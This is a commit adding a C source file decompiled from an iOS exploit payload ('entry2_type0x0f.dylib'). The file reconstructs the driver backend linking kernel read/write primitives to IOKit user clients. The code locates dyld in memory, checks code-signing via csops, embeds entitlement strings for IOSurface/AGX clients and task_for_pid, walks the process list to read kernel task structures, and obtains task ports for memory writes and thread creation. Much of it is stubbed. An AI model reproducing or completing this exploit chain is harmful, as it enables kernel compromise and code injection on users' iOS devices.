Attempt to fix source

This commit is contained in:
khanhduytran0
2026-03-12 21:09:59 +07:00
parent d0aa8395aa
commit 33b42fcf43
22 changed files with 7402 additions and 0 deletions
+592
View File
@@ -0,0 +1,592 @@
/*
* driver.c - Driver backend initialization and management
*
* Decompiled from entry2_type0x0f.dylib offsets 0x182a80x18740,
* 0xc0940xc3fc, 0xba300xbdd0, 0xb8540xb970
*
* The driver backend is the bridge between the krw provider and the
* actual kernel exploitation primitives in type0x09. It handles:
* - Finding dyld's base address via page scanning
* - Extracting the kernel version from Mach-O headers
* - Setting up IOKit user client connections
* - Dispatching kernel reads/writes through the driver
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dlfcn.h>
#include <unistd.h>
#include <mach-o/loader.h>
#include <sys/sysctl.h>
#include <errno.h>
/* Private syscall — no public header */
extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── *
* Heavy initialization of the driver backend context (0x178 bytes).
*
* This function:
* 1. Gets process info via _NSGet* functions
* 2. Finds dyld base address by scanning backwards from dladdr
* 3. Extracts kernel version from dyld's Mach-O header
* 4. Opens /usr/lib/system/libcache.dylib
* 5. Initializes symbol resolver and Mach-O parser
* 6. Sets up IOKit user client connection
*/
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra)
{
if (!out)
return E2_ERR_NULL;
if (!driver) {
if (!target) return E2_ERR_NULL;
}
/* Allocate backend context */
driver_backend_t *backend = calloc(1, 0x178);
if (!backend) return E2_ERR_ALLOC;
/*
* Step 1: Get process information
*
* These _NSGet* functions provide access to the program's
* argc/argv/environ without going through main(). This works
* even in injected dylibs.
*/
extern void *_NSGetMachExecuteHeader(void);
extern int *_NSGetArgc(void);
extern char ***_NSGetArgv(void);
extern char ***_NSGetEnviron(void);
extern const char **_NSGetProgname(void);
backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */
backend->argc_ptr = _NSGetArgc(); /* +0xD0 */
backend->argv_ptr = _NSGetArgv(); /* +0xD8 */
backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */
backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */
if (!backend->mach_header || !backend->argc_ptr ||
!backend->argv_ptr || !backend->environ_ptr) {
free(backend);
return E2_ERR_INIT;
}
if (!backend->progname_ptr) {
free(backend);
return E2_ERR_INIT;
}
/*
* Step 2: Check sandbox status
*
* Calls a function (0x184d0) that checks if the process is
* sandboxed. This affects which IOKit operations are available.
*/
uint8_t sandbox_result = 0;
kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */
if (kr != KERN_SUCCESS) {
free(backend);
return kr;
}
/* Check extra config flags */
if (extra && *extra) {
/* Additional device-specific initialization (0x19e0c) */
/* This checks SoC type and adjusts behavior */
}
/*
* Step 3: Find dyld base address by scanning memory
*
* Takes the PAC-stripped address of dladdr, rounds down to page
* boundary, then scans backwards page-by-page looking for
* MH_MAGIC_64 (0xFEEDFACF).
*
* asm equivalent:
* ldr x16, [dladdr_got]
* paciza x16
* mov x30, x16
* xpaclri // strip PAC from dladdr ptr
* and x8, x30, #~0xFFF // page-align
* ldr w10, [x8] // read first word
* sub x8, x8, #0x1000 // go back one page
* cmp w10, #0xFEEDFACF // MH_MAGIC_64?
* b.ne loop
*
* Once found, extract kernel version from the Mach-O header at
* offset +0x1008, masked to lower 24 bits.
*/
Dl_info dlinfo;
void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */
uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr);
uint64_t page = stripped & ~0xFFFULL;
/* Scan backwards for MH_MAGIC_64 */
while (*(uint32_t *)page != MAGIC_MH64) {
page -= 0x1000;
}
/* dyld base found at 'page' */
/* Extract kernel version from dyld header + 0x1008 */
uint32_t kver = *(uint32_t *)(page + 0x1008);
backend->kern_version = kver & 0xFFFFFF;
/*
* Step 4: Set up target binding
*
* If we have a driver ref and target, check whether we own
* the target allocation (owns_target flag at +0x10).
*
* If owns_target is true and the target has a release function
* at offset +0x18, we'll call it during cleanup.
*/
bool owns_target = (driver != NULL && target == NULL);
backend->driver_ref = driver;
backend->target_binding = target;
backend->owns_target = owns_target;
/* Copy extra config flags */
if (extra) {
backend->flags_1c = *(uint8_t *)extra;
}
/*
* Step 5: Open libcache.dylib
*
* This is loaded with RTLD_NOLOAD (0x12) which only succeeds
* if already in memory. libcache provides cache management APIs
* used by the symbol resolver.
*/
void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12);
backend->libcache_handle = libcache;
/*
* Step 6: Initialize subsystems
*
* Calls two initialization functions:
* 0x13d84: Mach-O parser init — sets up structures for parsing
* the target binary's load commands, segments, etc.
* 0x1b83c: Symbol resolver init — builds a symbol table for
* fast lookups in loaded dylibs.
*
* If either fails, falls back to 0x14714 (minimal init).
*/
kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */
if (kr != KERN_SUCCESS) {
if (owns_target) {
/* Release target binding: call target[0x20](target, binding) */
}
free(backend);
return kr;
}
kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */
if (kr != KERN_SUCCESS) {
/* Fallback to minimal init: 0x14714 */
if (owns_target) {
/* Release target binding */
}
free(backend);
return kr;
}
/* Success — store backend pointer */
/* *out = backend; */
return KERN_SUCCESS;
}
/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── *
* Cleans up a driver connection context.
*
* Cleanup order:
* 1. Free IOKit buffers (0xcd00) if present at +0x30
* 2. Close file descriptors (0xfd4c) at +0x28
* 3. Close IOKit connection (0xe178) at +0x18
* 4. If owns_target (+0x08), destroy connection internals (0x185d0)
* 5. Zero out and free the context
*/
kern_return_t e2_driver_cleanup(void *driver_ctx)
{
if (!driver_ctx) return E2_ERR_NULL;
kern_return_t result = KERN_SUCCESS;
/* +0x30: IOKit buffers — cleanup via 0xcd00 */
void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */
if (iokit_buf) {
/* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */
free(iokit_buf);
}
/* +0x28: file descriptors — close via 0xfd4c */
void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */
kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */
/* +0x18: IOKit connection — close via 0xe178 */
void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */
kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */
if (result == KERN_SUCCESS) result = kr2;
/* +0x08: owns_target flag */
uint8_t owns = *((uint8_t *)driver_ctx + 8);
if (owns) {
void *conn = *(void **)driver_ctx;
/* e2_destroy_conn_internals(conn) at 0x185d0 */
if (result == KERN_SUCCESS) result = 0; /* kr from destroy */
}
/* Zero and free */
*((void **)driver_ctx + 6) = NULL; /* clear +0x30 */
memset(driver_ctx, 0, 0x30);
free(driver_ctx);
return result;
}
/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── *
* Establishes a connection to the IOKit driver backend.
*
* This validates the Mach-O magic of the loaded driver and
* sets up the IOKit user client connection:
*
* 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH,
* on newer iOS via CS_OPS_STATUS)
* 2. Gets memory mapping info via the driver's alloc function
* (offset +0x18) with flags 0xF0000
* 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE
* 4. Allocates driver context (0x38 bytes) for the connection
* 5. Sets up IOKit entitlements for IOSurface/AGX user client access
* 6. Calls through to driver's external method handler
*/
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding)
{
if (!dest || !target)
return E2_ERR_NULL;
/* Validate target descriptor version */
uint16_t ver = *(uint16_t *)target;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt == 0) return E2_ERR_NULL;
/*
* Check code signing status
*
* On iOS >= 15.x (detected via dyldVersionNumber comparison),
* uses CS_OPS_CDHASH (5) with 20-byte hash output.
* On older iOS, uses CS_OPS_STATUS (0) with 4-byte output.
*
* This determines if the process has valid signatures,
* which affects what IOKit connections are permitted.
*/
pid_t pid = getpid();
uint8_t cs_info[20] = {0};
extern double dyldVersionNumber;
if (dyldVersionNumber >= /* threshold */(double)0) {
/* Newer path: CS_OPS_CDHASH */
int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20);
if (cs_result < 0) {
int err = errno;
if (err != 28 /* ENOSPC */) return err | 0x40000000;
}
} else {
/* Older path: CS_OPS_STATUS */
int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4);
if (cs_result < 0) return 0; /* errno based error */
}
/*
* Get memory mapping from driver
*
* Calls the target's allocation function (offset +0x18) with
* flags 0xF0000 to get a memory region for the driver connection.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
/* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */
if (!mapping || mapping_size < 0x21)
return E2_ERR_NULL;
/*
* Validate Mach-O magic of the loaded driver
*
* Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA),
* MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD)
* Also accepts: 0x11205325 range (signed 64-bit Mach-O variants)
*/
uint32_t magic = *(uint32_t *)mapping;
bool valid_magic = (magic == MAGIC_MH64 ||
magic == MAGIC_FAT_BE ||
magic == MAGIC_FAT_LE ||
magic == MAGIC_MH64_LE ||
magic == MAGIC_MH64_BE ||
magic == MAGIC_MH64_BE2);
if (!valid_magic)
return E2_ERR_NULL;
/*
* Allocate driver connection context (0x38 bytes)
*
* If binding is provided (version=2, methods>=2), allocates
* a binding context (0x10 bytes) and copies the reference.
*
* Otherwise, checks for sandbox restrictions (0x184d0) and
* allocates a plain context.
*/
void *conn_ctx = calloc(1, 0x38);
if (!conn_ctx) return E2_ERR_ALLOC;
if (binding) {
/* Binding context: allocate and store reference */
void *bind_ctx = calloc(1, 0x10);
if (!bind_ctx) {
free(conn_ctx);
return E2_ERR_ALLOC;
}
*(void **)bind_ctx = binding;
/* Set up IOKit entitlements via the binding's connect function
* (0xe2dc), using the entitlement XML strings:
*
* For IOKit:
* <dict><key>com.apple.security.iokit-user-client-class</key>
* <array><string>IOSurfaceRootUserClient</string>
* <string>AGXDeviceUserClient</string></array></dict>
*
* For task_for_pid:
* <dict><key>task_for_pid-allow</key><true/></dict>
*/
} else {
/* No binding — check sandbox first */
uint8_t sb = 0;
/* e2_check_sandbox_status(&sb) at 0x184d0 */
if (sb) return E2_ERR_CSOPS;
}
/* Store in output */
*(void **)dest = conn_ctx;
return KERN_SUCCESS;
}
/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── *
* Core KRW dispatch function — process enumeration + kernel read.
*
* This is the heavyweight function (~700 instructions) that:
* 1. Resolves the target path (strrchr '/' or realpath)
* 2. Creates NSConcreteStackBlock callbacks for process iteration
* 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get
* the full process list
* 4. Iterates through each kinfo_proc (0x288 bytes each)
* 5. For matching processes, invokes the callback block
* 6. The callback reads kernel task structures and extracts ports
*
* The NSConcreteStackBlock usage is notable: it creates Objective-C
* compatible block objects on the stack, with PAC-signed invoke
* pointers (pacia x16, x15 where x15 = block + 0x10).
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...)
{
const char *target_path = (const char *)arg0;
/* Note: additional args extracted from va_list depending on operation.
* For simplicity, the dispatch logic below shows the process-enum path
* (called from kread with arg0=kaddr, arg1=3). */
if (!target_path)
return E2_ERR_RESOLVE;
/* Validate target_path is non-empty */
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
/* Extract flags from varargs (second argument) */
va_list ap;
va_start(ap, arg0);
uint32_t flags = va_arg(ap, uint32_t);
va_end(ap);
/* Resolve path: if flags & 1, use realpath; else use basename */
char *resolved = NULL;
const char *search_name = target_path;
if (flags & 1) {
resolved = realpath(target_path, NULL);
if (!resolved) {
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
search_name = target_path;
} else {
search_name = resolved;
}
} else {
/* Find basename by looking for last '/' */
const char *slash = strrchr(target_path, '/');
search_name = slash ? slash + 1 : target_path;
if (*search_name == 0)
return E2_ERR_RESOLVE;
}
/*
* Build stack blocks for process iteration.
*
* Block 1 (sp+0x08): per-process callback
* isa = _NSConcreteStackBlock (PAC-signed with pacda)
* flags = 0xC2000000 (from constant pool at 0x1ef80)
* invoke = pacized function pointer
* descriptor = pointer to block descriptor
* captures: search flags, path buffers
*
* Block 2 (sp+0xb8): inner iteration callback
* Similar structure, captures block 1 and output buffer
*/
/* Query process list size */
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
size_t proc_buf_size = 0;
if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0)
goto fail;
if (proc_buf_size == 0)
return KERN_SUCCESS;
/* Allocate and fetch process list */
void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */
if (!proc_buf) goto fail;
proc_buf_size *= 2;
if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
goto fail;
}
/*
* Iterate through kinfo_proc entries.
*
* Each entry is 0x288 bytes (struct kinfo_proc on arm64).
* For each entry, invoke the callback block which:
* 1. Compares the process name
* 2. If matched, reads kernel task port via krw
* 3. Stores the port in the output
*/
uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288);
if (num_procs == 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
return KERN_SUCCESS;
}
kern_return_t result = E2_ERR_SYSCTL;
for (uint32_t i = 0; i < num_procs; i++) {
void *entry = (uint8_t *)proc_buf + (i * 0x288);
/* Call block2->invoke(block2, entry) with PAC auth */
/* result = block_invoke(entry); */
if (result == KERN_SUCCESS)
break;
}
/* Check if we found the target */
if (result == KERN_SUCCESS) {
/* Read port from block capture */
/* *out_port = captured_port; */
}
/* Cleanup */
bzero(proc_buf, proc_buf_size);
free(proc_buf);
/* Cleanup resolved path */
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return result;
fail:
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return E2_ERR_SYSCTL;
}
/* ── e2_get_task_port (0xb854) ───────────────────────────────────── *
* Gets a task port via Mach IPC.
*
* Sends a command message (type 5) and receives back:
* - Port right type at offset 0x18
* - Port send count at offset 0x1C
* - The task port itself at offset 0x08
*
* The task port is a mach_port_t that can be used for:
* - mach_vm_allocate / mach_vm_write / mach_vm_protect
* - thread_create_running
* - task_info
*/
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4)
{
if (port + 1 < 2)
return E2_ERR_VM_FAIL - 0x1D;
/* Allocate response buffer */
void *response = calloc(1, 0x28);
if (!response) return E2_ERR_GENERIC;
/* Send IPC command via 0xcea4 (mach_msg send with type 5) */
kern_return_t kr;
kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */
if (kr != KERN_SUCCESS) goto cleanup;
/* Validate response */
uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */
if (resp_type != 5) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */
if (resp_size != 0x20) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
/* Extract results */
if (out_rights) {
*(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */
}
/* arg2 corresponds to out_type in the original 7-arg version,
* but krw_get_port passes NULL here (x2 = 0) */
if (arg2) {
*(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */
}
kr = KERN_SUCCESS;
if (out_port) {
*(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */
/* Clear the port from response to prevent double-dealloc */
((uint32_t *)response)[2] = 0;
}
cleanup:
;
/* Deallocate any port rights in response */
uint32_t resp_port = ((uint32_t *)response)[2];
if (resp_port + 1 >= 2) {
mach_port_deallocate(mach_task_self(), resp_port);
}
free(response);
return kr;
}